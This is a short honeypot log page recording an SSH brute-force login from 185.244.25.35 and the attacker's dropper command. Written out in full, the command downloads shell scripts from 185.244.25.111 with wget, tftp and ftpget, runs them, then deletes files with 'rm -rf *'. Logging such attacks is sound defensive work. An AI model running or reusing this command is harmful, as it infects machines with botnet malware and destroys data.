honeypots.tk

Record Observations : 185.244.25.35 ssh Web script execution 185.244.25.35 E14SLONOFIETX5RQ

<< Back

185.244.25.35 client username 'DUP password' and password 'password' entered
185.244.25.35 client command : 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.111/spackabin.sh; chmod 777 spackabin.sh; sh spackabin.sh; tftp 185.244.25.111 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.244.25.111; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.244.25.111 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf spackabin.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'
Author: Honeypots.tk Robot